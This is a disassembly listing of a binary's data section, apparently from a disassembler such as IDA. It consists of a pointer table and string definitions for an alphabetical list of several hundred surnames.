		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
off_444C4C	dd offset aKelker	; DATA XREF: .data:00454BACo
					; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine_0	; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch_0	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay_0	; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
off_445344	dd offset aStam		; DATA XREF: .data:004549E8o
					; .data:00454DA4o
					; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: .data:off_4443B8o
		align 10h
aAckerman	db 'Ackerman',0         ; DATA XREF: .data:004443BCo
		align 4
aAdams		db 'Adams',0            ; DATA XREF: .data:004443C0o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: .data:off_4443C4o
aAdelstein	db 'Adelstein',0        ; DATA XREF: .data:004443C8o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: .data:004443CCo
		align 10h
aAdorno		db 'Adorno',0           ; DATA XREF: .data:004443D0o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: .data:004443D4o
		align 10h
aAlavi		db 'Alavi',0            ; DATA XREF: .data:004443D8o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: .data:004443DCo
		align 10h
aAlda		db 'Alda',0             ; DATA XREF: .data:004443E0o
		align 4
aAleks		db 'Aleks',0            ; DATA XREF: .data:004443E4o
		align 10h
aAllison	db 'Allison',0          ; DATA XREF: .data:004443E8o
aAlongi		db 'Alongi',0           ; DATA XREF: .data:004443ECo
		align 10h
aAltavilla	db 'Altavilla',0        ; DATA XREF: .data:004443F0o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: .data:004443F4o
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: .data:004443F8o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: .data:004443FCo
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: .data:00444400o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: .data:00444404o
		align 10h
aAmsden		db 'Amsden',0           ; DATA XREF: .data:00444408o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: .data:0044440Co
		align 10h
aAndel		db 'Andel',0            ; DATA XREF: .data:00444410o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: .data:00444414o
		align 10h
aAndrelus	db 'Andrelus',0         ; DATA XREF: .data:00444418o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: .data:0044441Co
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: .data:00444420o
		align 10h
aAnsley		db 'Ansley',0           ; DATA XREF: .data:00444424o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: .data:00444428o
aAntos		db 'Antos',0            ; DATA XREF: .data:0044442Co
		align 4
aArbia		db 'Arbia',0            ; DATA XREF: .data:00444430o
		align 10h
aArduini	db 'Arduini',0          ; DATA XREF: .data:00444434o
aArellano	db 'Arellano',0         ; DATA XREF: .data:00444438o
		align 4
